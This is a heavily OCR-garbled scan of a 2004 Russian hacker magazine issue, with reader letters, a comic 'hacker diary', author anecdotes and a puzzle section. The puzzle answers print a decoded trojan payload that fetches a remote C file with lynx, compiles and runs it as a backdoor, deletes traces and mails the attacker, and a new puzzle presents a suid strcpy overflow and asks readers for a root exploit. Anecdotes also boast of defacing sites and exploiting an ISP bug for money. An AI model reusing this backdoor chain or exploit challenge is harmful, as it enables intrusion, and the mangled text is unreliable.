<11РОАТЕ Ьу зутбіо5І5>: На самом деле, в скором времени я хочу уйти из X в 
какой-нить журнал типа «КУЛ+КРУГО+ВАЩЕ НИШТЯК», и тогда, напоследок, 
я приготовлю подарок читателям. Мои последние диски будут содержать 
ѴѴіпсіоѵѵз Бопдбогп Виііб 4074, базу кряков и эксплойтов, ну и на сладкое базы 
паспортных данных, прописки и ГИБДД. Правда, что-то мне подсказывает, что 
после этого журнал могут прикрыть и засудить, ну да фиг с ним - я буду уже 
в другом издании, и читатели будут довольны! 



ПИСЬМО: ОТ: ОШК [таіІІо:к)гЬ@пѵк2.пеІ] 

Здоровеньки це, тадаапе. 

Начну с хва..., т.е. палива: "Палива мала". Теперь про пал..., т.е. хваливо: "][ва- 
лива много, только его все равно мало". Я думаю, намек ясен, уга-чага-уга-чага 
;). Во имя Хоргаса и прочего плиз, плз, плуз, плзззззз, рііг, ріуг, рііз, ріеазе, вы- 
ложите на диск все журналы в любом формате ГіТтІ или любом другом, начиная 
с первого и заканчивая последним ;). Гадом буду если не выложите! :) 

Во, мне это понравилось, как в номере 62 в рубрике е-таіі какой-то чел по прось- 
бе другого чела, который тоже написал к вам в е-таіі про то, что в него надо бро- 
сить камень - дык в того, что из 62 номера я буду кирпичами кидаться защищая 
того, что из январского номера! ;) 



Под звуки тишины... 

■к -к -к -к -к -к -к -к -к -к -к -к -к -к -к -к -к -к -к -к -к -к 

Гусь свинье - не товарищ майор 

кккккккккккккккккккккк 

ешк 

ЮгЬ@пѵк2.пе( 

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 

Отправлено: 8 мая 2004 г. 



Ответ X: А 



П ривет ку, Глюк! 

Нам понравилось твое хва... т.е. палива! А вот то, чего много, но этого 
мало - это ты так не шуги, ладно? Клевещешь туг на нас. А мы, между 
прочим, намек поняли. Джиги-дзаги, хубба-бубба! 

Что касается всех номеров на диске - это ты нашу идею угнал. Так что при- 
дется тебе быть гадом :). А номера в РОР-формате в ближайшее время долж- 
ны появиться на диске (да, йес, уез, уеаГі, уа-уа, сооі!!!). Во всяком случае, 
нам хочется в это верить (убу-дабу, Гарик-Петя). 

В чела из январского номера кидаться кирпичами не стоит. Потому что он го- 
ворил, что его заставили написать письмо другие люди, которые тоже писа- 
ли письмо. В общем, на него надавили, и он не виноват. 

Пока! Кушай плотно, одевайся теплее! 

З.Ы.: Товарищ свинье - тоже не гусь. 



письмо: от: Вячеслав Левичев [таіКо:пйег@ІІ5І.ги] 




У меня вопрос: мы с другом поспорили, что я при выходе его сайта взломаю его 
(полностью скачаю, изменю название), но он (друг) поступил подло - восполь- 
зовался нашим общим знакомым программером, и тот поставил ему защиту. 
Обращаюсь к вам: как его взломать (сайт, не РНР). Спасибо, заранее. 

Ответ X: 



ПИСЬМО: ОТ: ЫзЫ [таіІТо: 1 еІТІ @таі!.ги] 




У вас очень классный журнал, мне очень нравится. Спасибо за проделанный труд. 
Помогите взломать БК - м.сотУ$.ш. 



Ответ X: А 



а нас вопрос: зачем вы с другом поспорили, что ты при выходе сайта его 
взломаешь? А если серьезно, то сайты не на РНР взломать вообще не- 
возможно, так что у тебя нет шансов. Единственный разумный выход: 
воспользуйся вашим общим знакомым программером (кстати, мы связались 
с вашим общим знакомым программером и выяснили, что твой друг однаж- 
ды действительно подло им воспользовался). Пусть он поставит сайт на РНР. 
Ну а дальше, думаем, ты знаешь, что делать. Пожалуйста, заранее. 



П ень добрый, уважаемый Ы зМ! 

Нам очень льстит, что подавляющему большинству читателей нравится 
наш журнал и что он очень классный. Особенно радуют такие 
неординарные ники, как у тебя! Думаю, что и пароль на твоем мыле тоже не 
очень заковыристый :). За проделанный труд - не за что. Ради вас стараемся! 
Помочь взломать БК не можем. Мы еще не разобрались с аналогичным 
предложением от предыдущего читателя и целыми днями сидим и пытаемся 
помочь взломать ВИВ (мш.ш.ги). Бай-бай. 
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письмо: от: Сгаскег [таіІ1о:сгаскег@росбІа.ги] 




Дарова всем хацкерам и хацкеркам, перцам и перчихам, ну и, конечно, всей ре- 
духе рульного джурнала Ксакеп! Начну по плану. План: 

1 . Типа, восхваление 

2. Типа наезд и все такое 

3. Всякое разное 

4. Р.5. 

Основная часть: 

1 ) Ну поначалу, вы - просто самый рульный журнал. Вас интересно трогать, смот- 
реть, читать, нюхать :) и т.п. Молодцы - вернули креатифф, еще ЗАПДДЛОСТРО- 
ЕНИЕ верните. А спецы - супер. Были не очень, но исправились... диском :). 

2) Второе. ГДЕ ваш нормальный дизигнер? Вот раньше Хакер был реально Хаке- 
ром. Все рулило: картины, текст - все :). Но сейчас. Бла, бла, бла, скоро ботани- 
ческим журналом будете. И вообще, больше ВЗЛОМА, больше КОДИНГА, больше 
ХАЛЯВЫ, больше ДИСКОВ. 

3) Где Сепіпег? Что-то я его давно не вижу. Да, стукни от меня Холодильника, чтоб 
Хулиган лучше был :). И ваще, где Даня? Только без отмаз, что, типа, «и мы, и Ху- 
лиганы в каждом номере пишем, почему его нет среди нас», вроде так :). Ни фи- 
га! Я весь номер 64 (за апрель) перечитал раз пять - НИ ФИГА там нету. Или пи- 
ши, на какой странице (в каком абзаце, с какого слова) это написано. 

4) Р.5. И еще чуть не забыл! Хочу передать привет маме, папе, моей девушке и 
хочу заказать песню группы Еискіпд Накегз с песней «Я имею тебя во все порты» 



Счастливо! 



Ответ X: Ж 



П юблю, когда четко и лаконично, по плану мысли выражают! Так что рес- 
пект тебе, Крекер! Отвечать буду тоже по пунктам: 

1 ) Спасибо за теплые слова, только вот у меня вопрос возник - на кой 
ты нюхаешь журнал? Ты его сначала пару недель держишь в корзине с гряз- 
ным бельем, для прикола? Если так, то лучше не стоит - нюхай лучше что- 
нибудь еще, цветочки вот, к примеру, - лето наступило. 

2) Наш нормальный дизайнер там же, где и раньше - работает у нас и де- 
лает все, чтобы всем читателям нравился дизайн, чтобы читать легко было, 
и выглядело стильно. 

3) Где Центнер - я не в курсе, сам давно его не видел, не пишет :(. Холо- 
дильник свой стукнул кулаком, мама сказала, что я - дебил, сломал его :(. И 
вообще, про Даню: апрельский номер у меня черепаха сперла, так что ска- 
жу, где в мартовском освещен этот вопрос. Мартовский номер. Страница 
150. Первое письмо. Четвертая строчка ответа на первое письмо. Со слов 
«Итак: Даня ушел...» 

4) Твои приветы направлены по адресу ;). 



ПИСЬМО: ОТ: АІехапсІег АІЬгапІ [таіІІо:аІЬгалІ@таіІ.гц] 




Салам, хакеры! 

Пишет вам ламер из далекой Германии. Дело в том, что решил бизнесом занять- 
ся и надо срочняк рекламку сделать. Вот хотел бы узнать, не могли бы вы какую- 
нибудь прогу для массовой рассылки сообщений, в том числе и в асе, предло- 
жить! Да и вообще, может, что хорошего для такого дела посоветуете? 

Заранее благодарю! 

С уважением, Дон Алехадро :). 



Ответ X: Ж 



п 



ривет, Дон Алехадро! 

Что же ты так невнимательно читаешь наш журнал? Ведь еще в 
февральском номере мы писали материал для таких, как ты - для 
начинающих спамеров ась. В общем, ноги в руки! Бегом перечитывать X! А 
вообще, спамить очень даже плохо. Особенно у вас в Германии. Смотри, 
посадят тебя в местную темницу на долгие годы за такие шалости. 

С уважением, редакция X. 

письмо: от: ѵазіа риркіп [таіііо: шпбІІ666@Ііз1.ги] 

Что вы творите с журналом? Он становится все более и более попсовым (РС 2опе 
в отстой, реклама задолбала, убогие Визуал Хаки, полжурнала - какое-то дерь- 
мо)! Те же Железо и РС 2опе заметно отстают от Кодинга и Взлома, поэтому их 
или сократить на фиг, или писать что-нибудь более хакерское. А вообще, стало 
меньше приколов и киберпанка. Прошли те времена, когда было приятно прос- 
то почитать зверский, клевый журнал, от которого срывало башню и хотелось 
З.МгОоз'ить все живое и перезадидосить уже задидошенное. Во, как было-то. 
Теперь статьи стали скучными (по стилю написания) и занудными. Авторы никог- 
да ни за что не отвечают, поэтому буду валить все на них. Все равно им по фигу. 

Так что верните старину <Ьеер>. Да пребудет с вами неиссякаемая СИЛА холод- 
ного ПИВА ;). 

Р.5. ХАОЗ - РіІІе 7777777 . 



Птвет X: Ж 



В от так посмотришь, сколько Васей Пупкиных письма пишет, так диву 
даешься... хотя, может, это все один, только ящики почтовые меняет 
постоянно. Но я уверен, что это клонирование! Что-то я отвлекся, сор- 
ри... А я вот считаю, что <Ьеер>ный у нас журнал! И могу, в отличие от Ва- 
сятки, обосновать свое мнение. Но даже после такой критики мы не запла- 
чем в уголке от обиды, а начнем с удвоенной силой придумывать новые и ин- 
тересные вещи для тебя! 




НУ И ГДЕ МОИ КРЯКЕР ИНТЕРНЕТА? 



А ТЫ ЗАПУСТИ .ЕХЕ-ШНИК ИЗ АТТАЧА! 
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юниты 







Дневник 

настоящего хакера 



Засунем ЖэЖэ в ЖоЖо 

Сейчас очень модно иметь свой жизненный журнал ака ЖЖ. Выкладывать туда 
свои дневнички, которые другие посетители читают и оставляют о прочитанном 
свои комментарии. Когда у человека нет своего ЖЖ, он считается если не вален- 
ком, то уж НСД точно :). Какая-то попсовая мода пошла вести дневник, выклады- 
вать на всеобщее обозрение свою личную жизнь. У меня вот нет ЖЖ, поэтому я 
выпросил кусочек бумажного пространства в журнале и выложил описание своего 
дня здесь, за что отдельное спасибо Симбиозису 
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ЬООЫіНЬООЫ ікогеаі.хакер.іи] 




УТРО 



П роснулся в 8:30 от звонка бу- 
дильника. Блииииин, мама за- 
вела мне его, чтобы я не опоз- 
дал на вторую пару. А так хоте- 
лось поспать, что я даже пошел 
на кухню и налил себе сока. 

Нет, вы не подумайте, я не за- 
биваю на институт, просто у 
меня по пятницам военка, а я два года назад 
с ней провафлил. А родители еще не знают 
до сих пор. Просто если папа узнает о том, 
что после института я пойду в армию рядо- 
вым, он мне запретит ходить на дискотеки :(. 

Сегодня особый день, потому что мы с друзь- 
ями идем на концерт Дельфина! Блиииин, я ни- 
когда не был на Дельфине, но надеюсь, что там 
будет много девчонок, ведь я им нравлюсь, хотя 
уже давно ни с кем не делал "того", потому что я 
бородатый :). Поэтому я решил немного об- 
мыться в душе, побрить усики и подровнять бо- 
родку, чтобы удобнее было целоваться с девуш- 
ками, обниматься, трогаться и т.д. 

В 12:00 я позвонил друзьям из интернета, да- 
лее "Киса", потому что просит меня говорить 
"мррр" (издевается, сволочь, я же картавлю), и 
"Пистон", потому что высокий. Мы договорились 
встретиться в метро и пойти посидеть в кафе. 

Я быстро собрался и выехал, перед этим, 
правда, немного попел песню группы ИИ "Риск 
Оа ЗбѵѵаЬ". Знаете, отличная песня, задушевная 
такая. Я тоже когда-нибудь придумаю хорошую 
дизу на своего одногруппника (ненавижу этого 
рыжего ботана, строящего из себя самого умно- 
го. Не забыть ему в тыкву дать в понедельник при 
встрече. Дааааа, он будет купаться в своей крови, 
когда я ему буду распинывать ногами почки!!!). 

Приехал я, значит, и стоял целый час!!! А их все 
не было!!! Не, ну как так можно? Я вот если догова- 
риваюсь, то всегда все делаю вовремя. А они опоз- 
дали, как один мой друг, далее "СиТТег", потому 
что в детстве любил вырезать на уроках труда. 

Стою же я, жду, и вдруг мне звонит "СиТТег”! 
Я даже не ожидал такого. Просто у "СиТТег’а" ни- 
когда не бывает денег на телефоне, а тут он по- 
ложил :). "СиТТег" спросил, где я нахожусь, и, уз- 
нав, что я недалеко от редакции, позвал к себе, 
чтобы я не мерз в ожидании "Кисы" и "Пистона”, 
а посидел с ним. Ну, я же пошел. 



ЛЕНЬ 



"СиТТег" меня встретил, и мы поднялись на 
третий этаж. Там немного посидели, он наб- 
росился на меня с автоматом АК-47 и стал 
мне его пихать "туда". Не, ну вот он шнур. 
Это же автомат Холода! Вдруг Холод подума- 
ет, что мы специально решили испачкать ав- 
томат, чтобы забрать его себе, и выгонит 
меня из редакции? Да ну его на фиг короче 
:(. Потом позвонила его знакомая, в даль- 
нейшем "Маша", потому что туговатая нем- 
ного, и мы пошли ее встречать в метро. Как 
раз я договорился с "Кисой" и "Пистоном", 
что они подъедут туда же. 

Пришли в метро, а там "Маша"! Я когда ее 
увидел, вообще офигел! Она была с сумкой, как 
у хоккеиста. Ну, да ладно. Я отправил их обрат- 
но, а сам стал дожидаться друзей. Когда они 
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приехали, мы пошли в кафе "Пироги". И вот зна- 
ете, только мы зашли туда, как я увидел там еще 
одного знакомого интернетчика, в дальнейшем 
"Коса", потому что летом на даче курил траву. 
Мы с ним поздоровались, но подсаживаться за 
их столик не стали, потому что не хотели. 

Сами же мы сели за свободный столик и ста- 
ли дожидаться еще одну девушку, в дальнейшем 
"Мурка", потому что весит много ваще. Я заказал 
себе мясные блинчики со сладким соусом и ста- 
кан пива (мне же надо разгоняться перед Дель- 
фином, чтобы было весело :)), "Пистон" взял се- 
бе спрайт, но я ему запретил его пить, потому 
что у него прыщ на губе был большой, а "Киса" 
купила двойной капучино. Я выпил пиво и начал 
кушать блинчики. Но они разваливались на гла- 
зах и поэтому все оказались в соуснице :(. Потом 
уже "Киса" мне сказала, что можно просто из со- 
усницы поливать блинчики, а не макать их туда. 
Не, ну во я утюг :(. А вот, вспомнил: я еще когда 
смеялся, нечаянно хрюкнул, и "Киса" попросила 
меня побыстрее доесть и в присутствии "Мурки" 
не смеяться, чтобы не выглядеть глупо. 

Когда пришла "Мурка", она мне так понрави- 
лась внешне, что я даже пошел в туалет быстро! А 
там какая-то девушка сидела, но она мне не пон- 
равилась, потому что у нее гриндера на ногах бы- 
ли, и если бы я взял ее на концерт, то ее металло- 
искатели бы не пропустили. Тогда бы все подума- 
ли, что у меня бомба и посадили бы в тюрьму. Как 
бы я тогда объяснил маме, что не хожу в инсти- 
тут? Я быстро пописял и пошел со всеми про- 
щаться, потому что меня уже ждали в метро 
друзья. Пока я шел, то по пути встретил "СиТТег'а" 
и "Машу". Они пошли со мной, и я им предлагал 
посетить концерт, потому что оставалось еще 2 
билета лишних. Но "СиТТег" твердо решил ехать к 
"Маше", а вечером со мной рвануть на ночь к на- 
шему другу, в дальнейшем "N50", потому что... 
хм... ну, в общем, потому что у него не хватило 
фантазии на ник "Черный Рыцарь". В метро нас 
уже ждали "зутбіозіз", потому что биологию не 



любит, и "Ваня", потому что в паспорте так напи- 
сано. Мы с ними поздоровались за руку, но "зут- 
Ьіозіз" попросил нас с "Ваней" сходить за пивом, 
а сам остался с "СиТТег’ ом" обсуждать какие-то 
проблемы. "Маша" тоже не пошла за пивом с на- 
ми, наверное, она боялась, что мы купим пиво, а 
сами от нее убежим. Я взял в ларьке пиво "Козел". 
Но я сказал "Дайте мне козлика", чтобы продав- 



щица засмеялась. Но засмеялся "Ваня”, а продав- 
щица нерусская была :(. Зато у нее ж*па большая. 

"Ваня" тоже купил пива "зутбіозіз'у", а себе 
взял Ред Эвил, потому что его собака покусала, 
и ему нельзя пить до лета. Зато его в лагере уку- 
сил клещ прямо "туда" :). 

ВЕЧЕР 

Спустились же мы обратно в метро, подож- 
дали немного, и приехал еще один наш друг, 
далее "Репейник", потому что я не знаю, как 
его на самом деле зовут. И мы поехали на 
концерт все, кроме "СиТТег'а" и "Маши". 

Они рванули к "Маше" на квартиру, чтобы 
развлекаться (я себе это слабо представляю, 
вообще). Пока ехали - шутили, улыбались. А 
потом даже настолько улыбались, что про- 
пустили нужную станцию метро, и пришлось 
возвращаться обратно. На нужной станции 
мы встретили "Хмыря" (потому что у него 
глаза выпуклые). Его первым заметил "зут- 
Ьіозіз", а мы - нет, потому что мы его еще не 
знали. "Хмырь" остался ждать "Сбирак'у" 
(потому что длинный, как палочка у чупа- 
чупса), а мы вышли в туалет и за пивом. И 
вот знаете, я, когда писял, "зутЬіозіз" начал 
смеяться надо мной. Вот ведь он кран :(. 
Никогда ничего серьезно не скажет, только 
смеется. 

Потом "зутбіозіз" с "Ваней" пошли в метро 
за "Хмырем" и "Сбирак'ой", а мы с "Репейни- 
ком" остались на улице допивать пиво. Меня, 
кстати, немного вставило с пива, представляе- 
те? :) Так хорошо сразу стало, девчонки симпа- 
тичные ходят, а у меня голова кружится. 

Когда все были в сборе, мы пошли к месту 
концерта, по пути купив еще пива. Пришли, и 
"Репейник" предложил мне кого-нибудь опроки- 
нуть на деньги. Не, ну вот он шнур, зачем кого- 
то опрокидывать - всем же нужны деньги. Но 
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л На СО ты смо- 
жешь найти этот 
текст, озвученный 
самим автором - 
Бубликом :). 



"Репейник" как-то злобно на меня посмотрел, и 
мне пришлось согласиться. 

Мы выпили еще пива и пошли на концерт. А 
там Дельфин вышел когда, все начали ломиться 
к сцене, блиииин!!! Меня пару раз даже затопта- 
ли :(. Ну я же час поколбасился, а потом мне ста- 
ло плохо, и я вышел в бар, освежиться пивом. А 
там сидели еще "Ваня" и "Хмырь" и о чем-то раз- 
говаривали. Я подсел к ним, и они предложили 
мне выпить коньяку, и я не отказался. Зря я это 
сделал, потому что потом мне настолько плохо 
стало, что я даже почти уснул на стуле. 

После концерта мы все вышли на улицу и 
стали одевать кто что. Кто футболку, кто куртку. 
А я нашел бутылку био-йогурта и стал ее пинать. 
Но она в итоге очень сильно полетела и попала 
в мужика какого-то и всего испачкала. Он начал 
на нас кричать, но "Репейник" ему сказал пару 
слов, после чего мужик убежал. Хорошо, когда 
есть накачанные друзья. Мне даже было не 
страшно почти. Потому что если что, то "Репей- 
ник" бы его быстро угомонил! Вот. 

На выходе мы встретили еще одного знако- 
мого, далее "Мкііогг" (он же ВесМ/ау), потому 
что его зовут не Александр, а Никита. 

Я и "Мкііогг" решили поехать к "N50" и дого- 
ворились по мобилке с "СиТТег'ом", что встре- 
тимся в метро и поедем вместе. Сначала ехали 
все вместе и по пути купили подарки "СиТТег’у". 
Я купил ему шоколадку "Нестле", а "Мкііогг" ку- 
пил киндер-сюрприз. 

Едем же мы в метро. Все наши вышли, и ос- 
тались только мы с "Мкііогг'ом" и еще одним па- 
цаном. Кто он такой - я не знаю. И тут поднима- 
ется здоровый мужик и говорит нам, что мы сей- 
час будем убираться в вагоне!!! Я офигел и пос- 
лал его далеко и надолго, для страху еще сложил 
руки на груди, как в "Бригаде". Но он мне поче- 
му-то показал ксиву, что он из ФСБ, и двинул ап- 
перкотом в челюсть :(. Мы решили, что не стоит 
с ним связываться и вышли, а точнее он нас вы- 
толкал на следующей станции. Он проводил нас 
до эскалатора, а сам остался снизу. Когда мы 
отъехали примерно на половину, я ему показал 
фак и жестами позвал к себе. А он как подорвет- 
ся!! ЕЕЕЕ!! Как побежит за нами!! Ну, мы от него 
тоже побежали сначала вверх, а потом вниз. Кое- 
как смылись. Слава богу, уфффф :). 




ночь 

Тот пацан, которого я не знаю, куда-то 
поехал, а мы с "Мкііогг'ом" рванули к 
"СиТТег'у". А "СиТТег" был с "Машей", и 
они уже нас заждались. Но мы им рас- 
сказали историю про мужика, и они успо- 
коились :). 

В метро нас встретил "N50", я ему расска- 
зал, как убого смотрится его прическа, зализан- 
ная назад, и то, что Джеймс Бонд уже давно вы- 
шел из моды, и мы пошли в Рамстор покупать 
еду и питье (пить что-то хотелось). 

Заодно мы покатались в час ночи в магазине 
на тележках, так славно, вы не представляете! А 
у "N50" квартира однокомнатная и какая-то отс- 
тойная оказалась. 



Мы выпили, поговорили, поулыбались. Я на- 
чал домогаться "Машу", но она не захотела со 
мной "того". Она вообще ни с кем не хотела. 
Глупая какая-то, ей-богу :(. "СиТТег" зачем-то 
взял боксерские перчатки и начал меня и "N50" 
избивать. Но мы ему навешали люлей, и он ус- 
покоился сразу же :). Потом еще хотели посмот- 
реть фильм на компьютере, но все хотели спать 
и разлеглись на диване :(. 



ТХРЗРТРХСНіЗ 



Хочешь увидеть свои советы в журнале? 
Присылай их на адрес 5кІуагоѵ@геаІ.хакер.ги. 
Ведущий рубрики Тір$&Тгіск$ Иван Скляров. 




л Решила написать о следующем (вдруг пригодится?). 
Часто случается, что в инете предлагают посмотреть 
(Іазіт-срайлы (обычно это .$«*(), но не дают их сохранить. 
Их можно выудить из Тетрогагу Іпіегпеі РІІез, если при 
их просмотре использовался Іпіегпеі Ехріогег, или, 
например, из Ргодгат РІІез -> Орега -> Сасіге 4, если 
грайл просматривался под Оперой (в зависимости от 
браузера). При этом имя файла может быть изменено. 
Так же можно вернуть и другие файлы, например иаѵ. 



Бипбет 
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юниты 








Н0КЕР/№06(66)/2004 





Многие уверены, что стать автором X очень-очень сложно, что для 
этого надо иметь голову размером с арбуз и уметь ломать этой го- 
ловой все, что можно сломать. Но так как цепь рубрики Команда 
доказать, что мы - такие же люди, как и ты (с совершенно нор- 
мальными пропорциями тепа), сегодня самые популярные авторы 
X расскажут тебе, как же они стали этими самыми авторами. Уви- 
дишь - это не так сложно, как может показаться на первый взгляд. 




1111111111111111 




^ Иікііоз 





В далеком 2001 году мне приснился почти 
эротический сон. Их было трое, вернее, 
сперва одна, а потом сразу три. Такие краси- 
вые - карточки России-он-лайн! Надо же было 
- во сне придумать баг у крупного провайдера! 
:) Проснувшись утром, я попробовал то, что 
придумал ночью - баг работал! Через некото- 
рое время, когда я уже заработал на этом де- 
нег и стало довольно скучно, я решил написать 
об этом в X :). Вот так я стал автором. 



^ ЗкуЫ 



Г ода полтора назад я ни о каком Хакере и не 
помышлял: копался в прошивках мобильни- 
ков, писал проги для телефонов и был доволен 
жизнью. И вот однажды появился в моем мыле 
некий М.ІАзб - он, оказывается, попользовался 
одной из моих прожек, она ему понравилась, и он 
предложил мне самому обо всем этом и написать. 
Ну, а мне что, трудно что ли? По сочинениям в школе пятерки были, ну и все 
такое... ;-) Аужу ][ я самые первые номера видел, которые в далеких 90-х из- 
давались, так что "предмет и метод" были вполне знакомы. Сначала написал 
о мобильниках. Потом вообще о софте... Сейчас планирую в Никсы что-ни- 
будь написать, потому что в последнее время сисадминю активно. В общем- 
то, так и получается: чем занимаюсь, что мне интересно, о том и пишу :-). 





О днажды в студеную зимнюю пору с работы я вы- 
шел, был сильный мороз... Иду себе, никого не 
трогаю, и вдруг на прилавке вижу журнал с надписью 
Хакер (это был самый первый номер). Он мне сразу 
понравился. Дважды перечитал и заинтересовался 
призывом ЭІШеі'а вступить в команду авторов X. Моз- 
ги у меня еще не сильно протухли в моей деревне, по- 
этому замылил письмецо и спокойно забросил свои 
валенки на печку. И - о чудо! Мне ответил сам БИЧІе?! Спрашивает, мол, что 
знаешь, что умеешь? Понравились ему мои умения, говорит, вступай в коман- 
ду. Писать я тогда еще не умел и стал его заваливать своей чушью. И ровно 
через 9 месяцев в X появилась моя первая статья (что-то типа "Как распрост- 
ранять шаровары”). Вот сижу после этого на своей печке и терзаю деревян- 
ный ноутбук с графитовыми вставками в целях написания очередной чуши. 





З аканчивался 2000 год. В то время мне было всего 16 лет, и я фанател от Хакера. Читал его практически с первых номеров. Мо- 
жет быть, поэтому я уже умел дефейсить сайты и мало-мальски кодить на Перле. Хотелось поделиться навыками с другими. 
Прикинув: "А почему бы и нет?", я зашел на Оа11Че1/#хакер и спросил: "Реально ли написать статью в журнал?" Почти все усмехну- 
лись, сказали, что вряд ли ее возьмут, но один из посетителей посоветовал отправить материал СИНтезу. Я так и сделал: статья 
была всего на 4-5 килов, но являлась довольно интересным пособием по взлому провайдера. Спустя 3 месяца мне пришел ответ 
от главреда. СИНтез сказал, что материал будет опубликован в мартовском X за 2001 год. Надо отметить, что по этой статье я до 
сих пор получаю письма от читателей, чем очень горжусь ;). Спустя несколько месяцев появилась идея написать еще один матери- 
ал по ТСЦ затем еще... и еще. И вот дождались: РогЬ становится постоянным автором X. 




П омнится, дело было осенью у2к. К тому времени я уже успел переболеть игрушками, железом, сетями и программингом. Все это пе- 
рестало вызывать у меня былой животрепещущий интерес. Хотелось попробовать свои силы в чем-то новом, доселе неизведанном. 
И я загорелся написать статью в один из компьютерных журналов. Причем взялся за эту идею вполне основательно - не медля, отправил 
через фидошный гейт (с инетом у меня тогда были траблы) соответствующие письма главредам десятка изданий. Ответ был получен толь- 
ко от одного - Сереги Покровского. ЗІІМІег, назвав меня "господином-фидошником", предложил на выбор несколько тем. И вот - уже в 
декабре была опубликована моя статья "Что нужно знать про А5Р". 




А 



Опеке Целых 




В конце 90-х я с головой окунулся в электронную журналистику. Это был истеричный бум хай-тека. Время футурологов и киберромантиков. 

Я вел популярную рассылку на ГорКоте. "Новости технологий" делались глубокой ночью. Офлайн замирал, и в резавшем тишину жужжа- 
нии модема можно было разобрать отголоски нового мира. Получая экономическое образование в техвузе, я по эстетски играл словами и зак- 
ручивал неологизмы. Это была затейливая игра в "верю - не верю". Томительное ожидание Миллениума - рубежа, за которым были роботы, 
имплантаты и изысканные гаджеты. В феврале 2000 в полтретьего ночи меня позвал голос Синтеза - он мылом приглашал вести раздел но- 
востей хай-тека. Я нашел в Хакере формат, созвучный моему миропониманию. А с недавних пор веду в журнале рубрику Имплант. 
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К-РІІШЕ 



«ПРОЙДИСЬ ДЕБПГГЕРОМ ПО СВОИМ МОЗГПМ!» 

Не стесняйся присылать мне свои ответы, даже если ты смог ответить всего на 
один пазя, я с интересом почитаю твои оригинальные решения. Ну, а имена 
героев, которые первыми правильно ответят на все вопросы, конечно же, будут 
опубликованы в журнале, чем прославятся на всю Россию (и не только] и 
навечно войдут в историю X. Приз за нами не заржавеет 
Но помни: в большинстве случаев вариант ответа засчитывается как 
правильный, только если к нему приложено подробное и ВЕРНОЕ 
объяснение, почему выбран именно этот вариант, а не какой-либо другой. 



шпгіітііг 



ПЕРВЫЙ ППЗП «I ЮКЕШВОШВ!» 



Н а скриншоте показана сот-программа (96 
байт), которая выводит на экран фразу «I 
Іоѵе ѴѴіпсІоѵѵз!». Наверное, не стоит объяснять, 
что это неправильная жизненная позиция :). 
Поэтому нужно изменить в этой программе 
всего один байт, чтобы прога выдала на экран 



фразу «I Іоѵе Упих!». 

Для тех, кому лениво набивать вручную 
код с рисунка, я выложил прогу для 
скачивания на сайте 
Шр : //хриггіе . пагосі . ги/Іоѵе . сот . 





1 приз 



Я шокирован не меньше тебя, первое место заняла девочка по имени Магіпа 
(МаРиНа@іпЬох.ги)! Если ты думаешь, что я присудил ей первое место вследствие своего 
предвзятого отношения, то ты ошибаешься, мне абсолютно все равно, кто ты: шестилетняя 
девочка, олигоФренд или старик-паралитик. Главное, чтобы твои ответы с моими сходились 
:). Но она прислала свои правильные ответы первой! В какой-то момент я даже засомневал- 
ся в том, что это действительно девочка, и послал ей письмо, где поинтересовался: «А мо- 
жет, ты не Марина, а Петя?» «Нет, - говорит, - Марина я, а никакая я не Петя!» Короче, 
поставлен я был на место со своими глупыми вопросами (так мне и надо). Поздравляем те- 
бя, Марина! 



ОТВЕТЫ К ПРЕДЫДУЩЕМУ ВЫПУСКУ Х-РІІШЕ 



■ ОТВЕТ НА ПАЗЛ №1 
«Абтіп Мопкеу» 

Если складывать АЗСІІ-коды символе®, 
входящих в пароль, то первые три симво- 
ла пароля всегда в сумме образуют число 
213 (в бес), последующие три символа 
всегда дают в сумме 1 50 (в бес), и послед- 
ние три символа пароля всегда образуют 
число 260 (в бес). 

■ ОТВЕТ НА ПАЗЛ №2 
«Архив с секретом» 

Для того чтобы открыть архив, нужно исп- 
равить 15-й байт с 21 на 22 (с 15-го байта 
в 2 Ір-архиве всегда расположена конт- 
рольная сумма, именно она сама и была 
повреждена). Для прочтения зашифрован- 
ного сообщения в файле зесгеТсопт необ- 
ходимо поменять 28-й байт с 42 на 43 (т.е. 
"іпс бх" на "іпс Ьх"). Атекст последнего за- 
дания гласит: «РІеаве, зепб те апу розі- 
сагб оп (бе е-таіі зкІуагог/@таіІЗЗЗ.сот 
;)». Следовательно для полного решения 
пазла необходимо было просто отправить 
открытку на указанный е-таіі ;). 

■ ОТВЕТ НА ПАЗЛ №3 
«Василий и великий гуру» 



Без оператора условия строку можно пе- 
реписать следующим образом: 

М=Ѵ+Х-И 

■ ОТВЕТ НА ПАЗЛ №4 
«Приватный эксплойт для скриптктвдди» 

Использование этого эксплойта может за- 
кончиться печально для скрипткцдди, т.к. 
пси видом эксплойта здесь скрывается 
обычный троян. В переменной зітеііеобе 
под шестнадцатеричными кодами скрыты 
следующие строки: 

'»Мі Іупх' -битр 5икалі/Ьб.с>Лтр/Ьб.с; 
дсс -о Дтр/Ьб Дтр/Ьбх: 
зіг Дптр/Ьбтпт -Г /(тр/Ьб*: 
есііо "'АшііТІикІіше -І'"|таі1 Іг@$ика.ги 

Т.е. с помощью Іупх скачивается файл Ьб.с 
(очевидно бэкдор) с адреса зика.ш и запи- 
сывается в темповую директорию. Затем 
бэкдор компилигся и запускается, после 
чего удаляются все временные файлы. Да- 
лее отправляется письмо автору «эксплой- 
та». Естественно, что ничего подобного в 
настоящем эксплойте быть не может. 



ВТОРОЙ ППЗП «чудесный эксплоит» 



С крипткидди удалось полу- 
чить доступ к шеллу уда- 
ленной машины с правами 
поЬобу. Это не устраивало 
маленького засранца, т.к. ему 
хотелось рута. Перепробовав 
все доступные локальные 
эксплойты, скрипткидди хо- 
тел уж было совсем отчаять- 
ся, но неожиданно, просмат- 
ривая файлы на сервере, он 
заметил очень подозритель- 
ный суидный файл под назва- 
нием Гіоіе. Порыскав по инету, 
он не смог найти эксплойт к 
данной программе, зато на- 
шел исходник боіе, явно напи- 
санный гением-недоучкой. 
Внутри скрипткидди обнару- 
жил такой бажный код на Си: 

іпі таіп (іпі агде, сбаг *агдѵ[]) 

{ 



сбаг ЬиЩЮО]; 

і( (агдс>1) { 

$Ігсру(Ьиі(, агдѵ[1]); 
ргіпЩ"0к\п"); 

}еІ$е 

ргіпЩ"Еп(ег агдитепІ$!\п"); 
геііігп 0; 

} 

Помоги засранцу написать 
локальный эксплойт, который 
поднимал бы права до рута 
(иіб=0(гсхЛ) діб=0(гоо1)). Сер- 
вер крутится под ОС Упих. 

Примечание: дополнительно 
будет (если будет) опреде- 
ляться автор самого малень- 
кого и самого оригинального 
эксплойта. 




По поводу второго пазла (Архив с секретом). Каких только 
